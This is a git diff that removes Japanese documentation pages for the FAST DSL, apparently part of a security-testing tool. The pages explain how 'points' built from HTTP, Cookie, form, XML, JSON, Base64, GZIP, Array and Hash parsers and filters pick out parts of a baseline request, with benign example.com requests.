'application/xml' - ``` - - !!! info "`Host`ヘッダーの扱い" - 必要に応じて、ベースラインリクエストから抽出されたものとは異なる`Host`ヘッダーをテストリクエストに追加できます。 - - 例えば、Sendセクションでテストリクエストに`Host: demo.com`ヘッダーを追加できます。 - - 対応する拡張が稼働中でFASTノードが`Host: example.com`ヘッダー付きのベースラインリクエストを受信した場合、`Host: demo.com`ヘッダーを持つテストリクエストは`example.com`ホストに送信されます。結果のリクエストは次のようになります。 - - ``` - curl -k -g -X POST -L -H "Host: demo.com" -H "Content-Type: application/json" "http://example.com/app" --data "{"field":"value"}" - ``` - -* `body`：リクエストのボディを含む文字列です。必要なリクエストボディを指定できますが、最終的な文字列内に特殊文字がある場合はエスケープしてください。 - - これは必須パラメーターです。すべてのパラメーターセットに含める必要があります。 - - ??? info "例" - `body: 'field1=value1&field2=value2` - -もし`send`セクションに`N`個のパラメーターセット（`N`個のHTTPリクエストを記述）が設定されている場合、1件のベースラインリクエストにつき、FASTノードはベースラインリクエストの`Host`ヘッダーで指定されたホスト上の対象アプリケーションに`N`件のテストリクエストを送信します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/basics.md b/docs/latest-ja/fast/dsl/points/basics.md deleted file mode 100644 index 881e53c5ee..0000000000 --- a/docs/latest-ja/fast/dsl/points/basics.md +++ /dev/null @@ -1,18 +0,0 @@ -[link-fast]: ../intro.md -[link-parsers]: parsers.md - -# 基本概念 - -[FASTの拡張機能][link-fast]は、新しいテストリクエストを作成するために使用されるベースラインリクエスト要素の処理ロジックを記述します。*ポイント*の主な目的は、拡張機能で記述されたアクションをベースラインリクエストのどのデータに対して実行するかを指定することです。 - -ポイントとは、拡張機能で指定されたアクションを適用すべきベースラインリクエストの一部を指し示す文字列です。この文字列は、必要なデータを取得するためにベースラインリクエストに適用すべきパーサーとフィルターの名称を並べたシーケンスで構成されます。 - -* *パーサー*は、受け取った文字列入力に基づいてデータ構造を作成します。 -* *フィルター*は、 -パーサーによって作成されたデータ構造から特定の値を取得するために使用します。 - -他のフィルターやパーサーを、フィルターが指し示す値に適用できます。リクエストにパーサーとフィルターを順に適用することで、後続の処理に必要なリクエスト要素の値を抽出できます。 - -ポイントで使用できるパーサーとフィルターの多様性により、対象Webアプリケーションのリクエスト形式に対応した拡張機能を作成できます。 - -[以下のサブセクション][link-parsers]では、FAST DSLの拡張ポイントで使用できるパーサーとフィルターについて説明します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/construction.md b/docs/latest-ja/fast/dsl/points/construction.md deleted file mode 100644 index 31194acc55..0000000000 --- a/docs/latest-ja/fast/dsl/points/construction.md +++ /dev/null @@ -1,174 +0,0 @@ -[link-http]: parsers/http.md -[link-uri]: parsers/http.md#uri-filter -[link-path]: parsers/http.md#path-filter -[link-actionname]: parsers/http.md#action_name-filter -[link-actionext]: parsers/http.md#action_ext-filter -[link-get]: parsers/http.md#get-filter -[link-header]: parsers/http.md#header-filter -[link-post]: parsers/http.md#post-filter -[link-formurlencoded]: parsers/form-urlencoded.md -[link-multipart]: parsers/multipart.md -[link-cookie]: parsers/cookie.md -[link-xml]: parsers/xml.md -[link-xmlcomment]: parsers/xml.md#xml_comment-filter -[link-xmldtd]: parsers/xml.md#xml_dtd-filter -[link-xmldtdentity]: parsers/xml.md#xml_dtd_entity-filter -[link-xmlpi]: parsers/xml.md#xml_pi-filter -[link-xmltag]: parsers/xml.md#xml_tag-filter -[link-xmltagarray]: parsers/xml.md#xml_tag_array-filter -[link-xmlattr]: parsers/xml.md#xml_attr-filter -[link-jsondoc]: parsers/json.md -[link-jsonobj]: parsers/json.md#json_obj-filter -[link-jsonarray]: parsers/json.md#json_array-filter -[link-array]: parsers/array.md -[link-hash]: parsers/hash.md -[link-gzip]: parsers/gzip.md -[link-base64]: parsers/base64.md - -# ポイントの作成方法 -ポイントで使用可能なFAST DSLのパーサーとフィルターの一覧を再確認します。 -* [HTTPパーサー][link-http]: - * [URIフィルター][link-uri]; - * [Pathフィルター][link-path]; - * [Action_nameフィルター][link-actionname]; - * [Action_extフィルター][link-actionext]; - * [GETフィルター][link-get]; - * [HEADERフィルター][link-header]; - * [POSTフィルター][link-post]; -* [Form_urlencodedパーサー][link-formurlencoded]; -* [Multipartパーサー][link-multipart]; -* [Cookieパーサー][link-cookie]; -* [XMLパーサー][link-xml]: - * [Xml_commentフィルター][link-xmlcomment]; - * [Xml_dtdフィルター][link-xmldtd]; - * [Xml_dtd_entityフィルター][link-xmldtdentity]; - * [Xml_piフィルター][link-xmlpi]; - * [Xml_tagフィルター][link-xmltag]; - * [Xml_tag_arrayフィルター][link-xmltagarray]; - * [Xml_attrフィルター][link-xmlattr]; -* [Json_docパーサー][link-jsondoc]: - * [Json_objフィルター][link-jsonobj]; - * [Json_arrayフィルター][link-jsonarray]; -* [GZIPパーサー][link-gzip]; -* [Base64パーサー][link-base64]; -* [Arrayフィルター][link-array]; -* [Hashフィルター][link-hash]. - -どのパーサーとフィルターをポイントに含めるべきかを理解しやすくするため、ポイントは右から左へ組み立てることを推奨します。ポイントを作成する際は、リクエストの小さい部分から大きい部分へと進みます。 - -!!! info "ポイントの要素の区切り" - ポイントの各要素は`_`記号で区切る必要があります。 - -## 例1 - -次のリクエストにおける`uid`パラメータのデコード後の値を参照するポイントを作成する必要があるとします。 - -``` -GET http://example.com/main/login/?uid=MDEyMzQ= -``` - -ここで、`MDEyMzQ=`は`01234`文字列をBase64エンコードしたものです。 - -1. ポイントはリクエスト要素の*値*を参照する必要があるため、ポイントにサービスワード`value`を含める必要があります。 - - 現在のポイントの状態: `value`。 - -2. ポイントはデコード後の値を参照する必要がありますが、対象の値はリクエスト内で*Base64*エンコードされています。値をデコードするため、ポイントの左側に`BASE64`パーサー名を追加します。 - - 現在のポイントの状態: `BASE64_value`。 - -3. ポイントは*`uid`*パラメータの値を参照する必要があります。目的のパラメータ値を参照するため、ポイントの左側に`uid`パラメータ名を追加します。 - - 現在のポイントの状態: `uid_BASE64_value`。 - -4. ポイントはベースラインリクエストの*クエリ文字列*で渡されるパラメータの値を参照する必要があります。クエリ文字列のパラメータ値を参照するため、ポイントの左側に`GET`フィルター名を追加します。 - - 現在のポイントの状態: `GET_uid_BASE64_value`。 - - - -この例の条件を満たすため、手順4で得たポイントは、拡張に次のいずれかの方法で追加できます: -* いずれのサービス記号でも囲まない。 -* アポストロフィで囲む（`'GET_uid_BASE64_value'`）。 -* 二重引用符で囲む（`"GET_uid_BASE64_value"`）。 - - - -## 例2 - -次のリクエストで`passwd`パラメータの値`01234`を参照するポイントを作成する必要があるとします。 - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -リクエストで次の - -``` -username=admin&passwd=01234. -``` - -ボディです。 - -1. ポイントはリクエスト要素の*値*を参照する必要があるため、ポイントにサービスワード`value`を含める必要があります。 - - 現在のポイントの状態: `value`。 - -2. ポイントは*`passwd`*パラメータの値を参照する必要があります。目的のパラメータ値を参照するため、ポイントの左側に`passwd`パラメータ名を追加します。 - - 現在のポイントの状態: `passwd_value`。 - -3. ポイントは*form-urlencoded形式*で渡されるパラメータの値を参照する必要があります。これはベースラインリクエストのContent-Typeヘッダーの値から分かります。form-urlencodedで渡されたパラメータの値を参照するため、ポイントの左側にForm_urlencodedパーサー名を大文字で追加します。 - - 現在のポイントの状態: `FORM_URLENCODED_passwd_value`。 - -4. ポイントは*リクエストボディ*で渡されるパラメータの値を参照する必要があります。リクエストボディのパラメータ値を参照するため、ポイントの左側に`POST`パーサー名を追加します。 - - 現在のポイントの状態: `POST_FORM_URLENCODED_passwd_value`。 - - - -この例の条件を満たすため、手順4で得たポイントは、拡張に次のいずれかの方法で追加できます: -* いずれのサービス記号でも囲まない。 -* アポストロフィで囲む（`'POST_FORM_URLENCODED_passwd_value'`）。 -* 二重引用符で囲む（`"POST_FORM_URLENCODED_passwd_value"`）。 - - - -## 例3 - -次のリクエストで`secret-word`クッキーの値`abcde`を参照するポイントを作成する必要があるとします。 - -``` -GET /main/index.php HTTP/1.1 -Host: example.com -Cookie: username=John. secret-word=abcde. -``` - -1. ポイントはリクエスト要素の*値*を参照する必要があるため、ポイントにサービスワード`value`を含める必要があります。 - - 現在のポイントの状態: `value`。 - -2. ポイントは*`secret-word`*クッキーの値を参照する必要があります。目的のクッキー値を参照するため、ポイントの左側にクッキー名`secret-word`を追加します。 - - 現在のポイントの状態: `secret-word_value`。 - -3. ポイントは*Cookie*の値を参照する必要があります。Cookie値を参照するため、ポイントの左側に`COOKIE`パーサー名を追加します。 - - 現在のポイントの状態: `COOKIE_secret-word_value`。 - -4. ポイントは*Cookieヘッダー*で渡される値を参照する必要があります。Cookieという名前のヘッダーを参照するため、ポイントの左側に`Cookie`ヘッダー名を追加します。 - - 現在のポイントの状態: `Cookie_COOKIE_secret-word_value`。 - -5. ポイントは*ヘッダー*で渡される値を参照する必要があります。ヘッダー値を参照するため、ポイントの左側に`HEADER`フィルター名を追加します。 - - 現在のポイントの状態: `HEADER_Cookie_COOKIE_secret-word_value`。 - - - -この例の条件を満たすため、手順4で得たポイントは、拡張に次のいずれかの方法で追加できます: -* いずれのサービス記号でも囲まない。 -* アポストロフィで囲む（`'HEADER_Cookie_COOKIE_secret-word_value'`）。 -* 二重引用符で囲む（`"HEADER_Cookie_COOKIE_secret-word_value"`）。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/intro.md b/docs/latest-ja/fast/dsl/points/intro.md deleted file mode 100644 index 976cc16d76..0000000000 --- a/docs/latest-ja/fast/dsl/points/intro.md +++ /dev/null @@ -1,12 +0,0 @@ -[link-basics]: basics.md -[link-parsers]: parsers.md -[link-principles]: principles.md -[link-construction]: construction.md - -# FAST拡張機能向けポイントの作成 - -本書では、FAST DSL（ドメイン固有言語）の拡張機能向けにポイントを作成する際に考慮すべき原則について説明します。このセクションは次の小節で構成されています。 -* [基本概念][link-basics]の小節では、用語「ポイント」を定義し、FAST拡張機能の作成におけるポイントの役割を説明します。 -* [パーサーとフィルター][link-parsers]の小節では、後続の処理のためにリクエストから抽出できるデータについて詳しく説明します。 -* [ポイント作成の原則][link-principles]の小節では、FAST DSL拡張機能向けのポイントを作成する際に遵守すべきルールを説明します。 -* [ポイントの作り方][link-construction]の小節では、前の小節で得た知識を用いて、ポイント作成プロセスをステップごとの例で説明します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers.md b/docs/latest-ja/fast/dsl/points/parsers.md deleted file mode 100644 index 5f49cefd63..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers.md +++ /dev/null @@ -1,58 +0,0 @@ -[link-http]: parsers/http.md -[link-uri]: parsers/http.md#uri-filter -[link-path]: parsers/http.md#path-filter -[link-actionname]: parsers/http.md#action_name-filter -[link-actionext]: parsers/http.md#action_ext-filter -[link-get]: parsers/http.md#get-filter -[link-header]: parsers/http.md#header-filter -[link-post]: parsers/http.md#post-filter -[link-formurlencoded]: parsers/form-urlencoded.md -[link-multipart]: parsers/multipart.md -[link-cookie]: parsers/cookie.md -[link-xml]: parsers/xml.md -[link-xmlcomment]: parsers/xml.md#xml_comment-filter -[link-xmldtd]: parsers/xml.md#xml_dtd-filter -[link-xmldtdentity]: parsers/xml.md#xml_dtd_entity-filter -[link-xmlpi]: parsers/xml.md#xml_pi-filter -[link-xmltag]: parsers/xml.md#xml_tag-filter -[link-xmltagarray]: parsers/xml.md#xml_tag_array-filter -[link-xmlattr]: parsers/xml.md#xml_attr-filter -[link-jsondoc]: parsers/json.md -[link-jsonobj]: parsers/json.md#json_obj-filter -[link-jsonarray]: parsers/json.md#json_array-filter -[link-array]: parsers/array.md -[link-hash]: parsers/hash.md -[link-gzip]: parsers/gzip.md -[link-base64]: parsers/base64.md - -# パーサーとフィルター - -このセクションでは、FAST DSLの拡張ポイントで使用できるパーサーとフィルターについて説明します。 - -以下に、パーサーとそれらが提供するフィルターの一覧を示します: -* [HTTPパーサー][link-http]: - * [URIフィルター][link-uri]; - * [Pathフィルター][link-path]; - * [Action_nameフィルター][link-actionname]; - * [Action_extフィルター][link-actionext]; - * [Getフィルター][link-get]; - * [Headerフィルター][link-header]; - * [Postフィルター][link-post]; -* [Form_urlencodedパーサー][link-formurlencoded]; -* [Multipartパーサー][link-multipart]; -* [Cookieパーサー][link-cookie]; -* [XMLパーサー][link-xml]: - * [Xml_commentフィルター][link-xmlcomment]; - * [Xml_dtdフィルター][link-xmldtd]; - * [Xml_dtd_entityフィルター][link-xmldtdentity]; - * [Xml_piフィルター][link-xmlpi]; - * [Xml_tagフィルター][link-xmltag]; - * [Xml_tag_arrayフィルター][link-xmltagarray]; - * [Xml_attrフィルター][link-xmlattr]; -* [Json_docパーサー][link-jsondoc]: - * [Json_objフィルター][link-jsonobj]; - * [Json_arrayフィルター][link-jsonarray]; -* [GZIPパーサー][link-gzip]; -* [Base64パーサー][link-base64]; -* [Arrayフィルター][link-array]; -* [Hashフィルター][link-hash]. \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/array.md b/docs/latest-ja/fast/dsl/points/parsers/array.md deleted file mode 100644 index 38d0454d25..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/array.md +++ /dev/null @@ -1,179 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -[anchor1]: #the-example-of-using-the-get-filter-with-the-array-filter -[anchor2]: #the-example-of-using-the-header-filter-with-the-array-filter -[anchor3]: #the-example-of-using-the-form_urlencoded-parser-and-the-array-filter -[anchor4]: #the-example-of-using-the-multipart-parser-and-the-array-filter -[anchor5]: #the-example-of-using-the-xml_tag-filter-and-the-array-filter -[anchor6]: #the-example-of-using-the-json_obj-filter-and-the-array-filter - - -# Arrayフィルター - -**Array**フィルターは、配列を含む可能性があるベースラインリクエスト要素内の値配列を参照します。 - -Arrayフィルターは、ポイント内で次のフィルターやパーサーと併用できます: -* [Get][anchor1]; -* [Header][anchor2]; -* [Form_urlencoded][anchor3]; -* [Multipart][anchor4]; -* [Xml_tag][anchor5]; -* [Json_obj][anchor6]. - -この配列の要素はインデックスで参照する必要があります。配列のインデックスは`0`から始まります。 - -!!! info "ポイントにおける正規表現" - ポイント内のインデックスには[Rubyプログラミング言語の正規表現][link-ruby]を使用できます。 - -## GetフィルターとArrayフィルターを併用する例 {#the-example-of-using-the-get-filter-with-the-array-filter} - -次の - -``` -GET http://example.com/login?id[]="01234"&id[]="56789" HTTP/1.1 -``` - -リクエストに対して、クエリ文字列パラメータ`id`に適用されたArrayフィルターは、以下の配列を参照します: - -| Index | Value | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `GET_id_ARRAY_0_value`は、Arrayフィルターで対象となるクエリ文字列パラメータ`id`の値配列におけるインデックス`0`に対応する値`01234`を指します。 -* `GET_id_ARRAY_1_value`は、Arrayフィルターで対象となるクエリ文字列パラメータ`id`の値配列におけるインデックス`1`に対応する値`56789`を指します。 - -## HeaderフィルターとArrayフィルターを併用する例 {#the-example-of-using-the-header-filter-with-the-array-filter} - -次の - -``` -GET http://example.com/login/index.php HTTP/1.1 -X-Identifier: 01234 -X-Identifier: 56789 -``` - -リクエストに対して、ヘッダー`X-Identifier`に適用されたArrayフィルターは、以下の配列を参照します: - -| Index | Value | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `HEADER_X-Identifier_ARRAY_0_value`は、Arrayフィルターで対象となるヘッダー`X-Identifier`の値配列におけるインデックス`0`に対応する値`01234`を指します。 -* `HEADER_X-Identifier_ARRAY_1_value`は、Arrayフィルターで対象となるヘッダー`X-Identifier`の値配列におけるインデックス`1`に対応する値`56789`を指します。 - -## Form_urlencodedパーサーとArrayフィルターを併用する例 {#the-example-of-using-the-form_urlencoded-parser-and-the-array-filter} - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -リクエストの本文 - -``` -id[]=01234&id[]=56789 -``` - -に対して、form-urlencoded形式のリクエスト本文内のパラメータ`id`に適用されたArrayフィルターは、以下の配列を参照します: - -| Index | Value | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `POST_FORM_URLENCODED_id_ARRAY_0_value`は、Arrayフィルターで対象となるパラメータ`id`の値配列におけるインデックス`0`に対応する値`01234`を指します。 -* `POST_FORM_URLENCODED_id_ARRAY_1_value`は、Arrayフィルターで対象となるパラメータ`id`の値配列におけるインデックス`1`に対応する値`56789`を指します。 - -## MultipartパーサーとArrayフィルターを併用する例 {#the-example-of-using-the-multipart-parser-and-the-array-filter} - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="id[]" - -01234 ---boundary -Content-Disposition: form-data; name="id[]" - -56789 -``` - -リクエストに対して、multipart形式のリクエスト本文内のパラメータ`id`に適用されたArrayフィルターは、以下の配列を参照します: - -| Index | Value | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `POST_MULTIPART_id_ARRAY_0_value`は、Arrayフィルターで対象となるパラメータ`id`の値配列におけるインデックス`0`に対応する値`01234`を指します。 -* `POST_MULTIPART_id_ARRAY_1_value`は、Arrayフィルターで対象となるパラメータ`id`の値配列におけるインデックス`1`に対応する値`56789`を指します。 - -## Xml_tagフィルターとArrayフィルターを併用する例 {#the-example-of-using-the-xml_tag-filter-and-the-array-filter} - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストの本文 - -``` - -]> - - - -Sample text. - - - &eee; - -``` - -に対して、XML形式のリクエスト本文内のタグ`text`に適用されたArrayフィルターは、以下の配列を参照します: - -| Index | Value | -|--------|--------------| -| 0 | Sample text. | -| 1 | aaaa | - -* `POST_XML_XML_TAG_text_ARRAY_0_value`ポイントは、Arrayフィルターで対象となるタグ`text`の値配列におけるインデックス`0`に対応する値`Sample text.`を指します。 -* `POST_XML_XML_TAG_text_ARRAY_1_value`ポイントは、Arrayフィルターで対象となるタグ`text`の値配列におけるインデックス`1`に対応する値`aaaa`を指します。 - -## Json_objフィルターとArrayフィルターを併用する例 {#the-example-of-using-the-json_obj-filter-and-the-array-filter} - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -リクエストの本文 - -``` -{ - "username": "user", - "rights":["read","write"] -} -``` - -に対して、Json_docパーサーとJson_objフィルターを併用し、リクエスト本文のJSONオブジェクト`rights`に適用されたArrayフィルターは、以下の配列を参照します: - -| Index | Value | -|--------|----------| -| 0 | read | -| 1 | write | - -* `POST_JSON_DOC_JSON_OBJ_rights_ARRAY_0_value`ポイントは、Arrayフィルターで対象となるJSONオブジェクト`rights`の値配列におけるインデックス`0`に対応する値`read`を指します。 -* `POST_JSON_DOC_JSON_OBJ_rights_ARRAY_1_value`ポイントは、Arrayフィルターで対象となるJSONオブジェクト`rights`の値配列におけるインデックス`1`に対応する値`write`を指します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/base64.md b/docs/latest-ja/fast/dsl/points/parsers/base64.md deleted file mode 100644 index f73667370d..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/base64.md +++ /dev/null @@ -1,20 +0,0 @@ -# Base64パーサー - -**Base64**パーサーは、リクエスト要素の値をBase64でエンコードおよびデコードします。このパーサーは任意の文字列に適用できます。 - -**例:** - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -というリクエストに含まれる - -``` -username=admin&passwd=MDEyMzQ= -``` - -というボディの場合、`POST_FORM_URLENCODED_passwd_BASE64_value`ポイントは、application/x-www-form-urlencoded形式のリクエストボディ内の`passwd`パラメータに渡されたBase64値をデコードした結果である`01234`を指します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/cookie.md b/docs/latest-ja/fast/dsl/points/parsers/cookie.md deleted file mode 100644 index 158414e25a..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/cookie.md +++ /dev/null @@ -1,46 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -# Cookieパーサー - -**Cookie**パーサーは、ベースラインリクエストのCookieヘッダーの内容に基づいてハッシュテーブルを作成します。このハッシュテーブルの要素はCookieの名前で参照する必要があります。 - -!!! info "ポイントでの正規表現" - ポイント内のCookie名は、[Rubyプログラミング言語][link-ruby]の正規表現にできます。 - -!!! warning "ポイントでのCookieパーサーの使用" - Cookieパーサーは、ベースラインリクエストのCookieヘッダーを参照するHeaderフィルターと組み合わせた場合にのみ、ポイント内で使用できます。 - -**例：** - -次の - -``` -GET /login/index.php HTTP/1.1 -Host: example.com -Cookie: id=01234; username=admin -``` - -リクエストに対して、HTTPパーサーとCookieパーサーは対応するヘッダーデータを含むハッシュテーブルを作成します。 - -Headerフィルターは次のハッシュテーブルを参照します。 - -| ヘッダー名 | ヘッダー値 | -|---------------|------------------------------| -| Host | example.com | -| Cookie | id=01234; username=admin | - -このハッシュテーブルでは、ヘッダー名がキーで、対応するヘッダーの値がハッシュテーブルの値です。 - -`HEADER_Cookie_value`ポイントを使用すると、Cookieを文字列値として扱えます。本例では、このポイントは`id=01234; username=admin`という文字列を参照します。 - -Cookieパーサーは次のハッシュテーブルを作成します。 - -| Cookie名 | Cookie値 | -|----------|-----------| -| id | 01234 | -| username | admin | - -Cookieパーサーは、Headerフィルターが参照するハッシュテーブルから取得したCookieヘッダーのデータに基づいてハッシュテーブルを作成します。このハッシュテーブルでは、Cookie名がキーで、対応するCookieの値がハッシュテーブルの値です。 - -* `HEADER_Cookie_COOKIE_id_value`ポイントは、Cookieパーサーが作成したハッシュテーブルのキー`id`に対応する値`01234`を参照します。 -* `HEADER_Cookie_COOKIE_username_value`ポイントは、Cookieパーサーが作成したハッシュテーブルのキー`username`に対応する値`admin`を参照します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/form-urlencoded.md b/docs/latest-ja/fast/dsl/points/parsers/form-urlencoded.md deleted file mode 100644 index 0bdbce071b..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/form-urlencoded.md +++ /dev/null @@ -1,40 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-formurlencoded-array]: array.md#the-example-of-using-the-form_urlencoded-parser-and-the-array-filter -[link-formurlencoded-hash]: hash.md#the-example-of-using-the-form_urlencoded-parser-with-the-hash-filter - -# Form_urlencodedパーサー - -**Form_urlencoded**パーサーは、form-urlencoded形式のリクエストボディを扱うために使用します。このパーサーは、リクエストボディのパラメータ名をキー、対応するパラメータの値を値とするハッシュテーブルを作成します。このハッシュテーブルの要素はパラメータ名で参照する必要があります。 - -!!! info "ポイント内の正規表現" - ポイント内のパラメータ名には、[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -!!! warning "ポイントでのForm_urlencodedパーサーの使用" - Form_urlencodedパーサーは、ベースラインリクエストボディを参照するPostフィルターと組み合わせた場合にのみ、ポイントで使用できます。 - -form-urlencoded形式のリクエストボディには、配列やハッシュテーブルといった複雑なデータ構造が含まれる場合もあります。これらの構造内の要素を参照するには、[Arrayフィルター][link-formurlencoded-array]および[Hashフィルター][link-formurlencoded-hash]をそれぞれ使用します。 - -**例:** - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -リクエストで、 - -``` -id=01234&username=John -``` - -というボディの場合、リクエストボディにForm_urlencodedパーサーを適用すると、次のハッシュテーブルが作成されます: - -| Key | Value | -|----------|----------| -| id | 01234 | -| username | John | - -* `POST_FORM_URLENCODED_id_value`ポイントは、Form_urlencodedパーサーが作成したハッシュテーブルの`id`キーに対応する値`01234`を参照します。 -* `POST_FORM_URLENCODED_username_value`ポイントは、Form_urlencodedパーサーが作成したハッシュテーブルの`username`キーに対応する値`John`を参照します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/gzip.md b/docs/latest-ja/fast/dsl/points/parsers/gzip.md deleted file mode 100644 index 317128a2c2..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/gzip.md +++ /dev/null @@ -1,23 +0,0 @@ -# GZIPパーサー - -この**GZIP**パーサーは、GZIPエンコーディングでリクエスト要素の値をエンコードおよびデコードします。このパーサーは任意の文字列に適用できます。 - -**例:** - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="username" - -admin ---boundary -Content-Disposition: form-data; name="passwd" - -1f8b 0808 e25b 765c 0003 7465 7374 2e74 7874 0033 3034 3236 0100 2470 a4dd 0500 0000 -``` - -リクエストでは、`POST_MULTIPART_passwd_GZIP_value`ポイントは、マルチパート形式のリクエストボディ内の`passwd`パラメータに渡されたGZIPでエンコードされたデータをデコードして得られる値`01234`を指します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/hash.md b/docs/latest-ja/fast/dsl/points/parsers/hash.md deleted file mode 100644 index c4692b4d88..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/hash.md +++ /dev/null @@ -1,193 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -[anchor1]: #the-example-of-using-the-get-filter-and-the-hash-filter -[anchor2]: #the-example-of-using-the-form_urlencoded-parser-with-the-hash-filter -[anchor3]: #the-example-of-using-the-multipart-filter-and-the-hash-filter -[anchor4]: #the-example-of-using-the-json_doc-parser-and-the-hash-filter -[anchor5]: #the-example-of-using-the-json_obj-filter-and-the-hash-filter -[anchor6]: #the-example-of-using-the-json_array-filter-and-the-hash-filter - - -# Hashフィルター - -**Hash**フィルターは、ハッシュテーブルを含む可能性があるベースラインのリクエスト要素に含まれる値のハッシュテーブルを参照します。 - -Hashフィルターは、以下のフィルターおよびパーサーと組み合わせてポイントで使用できます: -* [Getフィルター][anchor1]; -* [Form_urlencodedパーサー][anchor2]; -* [Multipartフィルター][anchor3]; -* [Json_docパーサー][anchor4]; -* [Json_objフィルター][anchor5]; -* [Json_arrayフィルター][anchor6]. - -Hashフィルターで対象となるハッシュテーブルの要素を参照するには、キーを使用します。 - -!!! info "ポイントにおける正規表現" - ポイント内のキーには、Rubyプログラミング言語の[正規表現][link-ruby]を使用できます。 - -## GetフィルターとHashフィルターを使用する例 - -次の - -``` -POST http://example.com/login?id[user]=01234&id[group]=56789 -``` - -リクエストの場合、クエリ文字列パラメータ`id`に適用されたHashフィルターは、次のハッシュテーブルを参照します。 - -| Key | Value | -|-------|----------| -| user | 01234 | -| group | 56789 | - -* `GET_id_HASH_user_value`ポイントは、Hashフィルターで対象となる`id`クエリ文字列パラメータの値のハッシュテーブルにおける`user`キーに対応する値`01234`を参照します。 -* `GET_id_HASH_group_value`ポイントは、Hashフィルターで対象となる`id`クエリ文字列パラメータの値のハッシュテーブルにおける`group`キーに対応する値`56789`を参照します。 - - -## Form_urlencodedパーサーとHashフィルターを使用する例 - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -というリクエストで、次の - -``` -id[user]=01234&id[group]=56789 -``` - -というボディの場合、form-urlencoded形式のリクエストボディのパラメータ`id`に適用されたHashフィルターは、次の配列を参照します。 - -| Key | Value | -|-------|----------| -| user | 01234 | -| group | 56789 | - -* `POST_FORM_URLENCODED_id_HASH_user_value`ポイントは、Hashフィルターで対象となるリクエストボディのパラメータのハッシュテーブルにおける`user`キーに対応する値`01234`を参照します。 -* `POST_FORM_URLENCODED_id_HASH_group_value`ポイントは、Hashフィルターで対象となるリクエストボディのパラメータのハッシュテーブルにおける`group`キーに対応する値`56789`を参照します。 - -## MultipartフィルターとHashフィルターを使用する例 - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="id[user]" - -01234 ---boundary -Content-Disposition: form-data; name="id[group]" - -56789 -``` - -リクエストでは、Multipartパーサーと共にリクエストボディの`id`パラメータに適用されたHashフィルターは、次のハッシュテーブルを参照します。 - -| Key | Value | -|-------|----------| -| user | 01234 | -| group | 56789 | - -* `POST_MULTIPART_id_HASH_user_value`ポイントは、Hashフィルターで対象となるリクエストボディのパラメータのハッシュテーブルにおける`user`キーに対応する値`01234`を参照します。 -* `POST_MULTIPART_id_HASH_group_value`ポイントは、Hashフィルターで対象となるリクエストボディのパラメータのハッシュテーブルにおける`group`キーに対応する値`56789`を参照します。 - -## Json_docパーサーとHashフィルターを使用する例 - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -というリクエストで、次の - -``` -{ - "username": "user", - "rights": "read" -} -``` - -というボディの場合、Json_docパーサーと共にJSON形式のリクエストボディに適用されたHashフィルターは、次のハッシュテーブルを参照します。 - -| Key | Value | -|----------|----------| -| username | user | -| rights | read | - -* `POST_JSON_DOC_HASH_username_value`ポイントは、Hashフィルターで対象となるリクエストボディのパラメータのハッシュテーブルにおける`username`キーに対応する値`user`を参照します。 -* `POST_JSON_DOC_HASH_rights_value`ポイントは、Hashフィルターで対象となるリクエストボディのパラメータのハッシュテーブルにおける`rights`キーに対応する値`read`を参照します。 - -## Json_objフィルターとHashフィルターを使用する例 - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -というリクエストで、次の - -``` -{ - "username": "user", - "info": { - "status": "active", - "rights": "read" - } -} -``` - -というボディの場合、Json_docパーサーおよびJson_objフィルターと共にJSON形式のリクエストボディに適用されたHashフィルターは、次のハッシュテーブルを参照します。 - -| Key | Value | -|--------|----------| -| status | active | -| rights | read | - 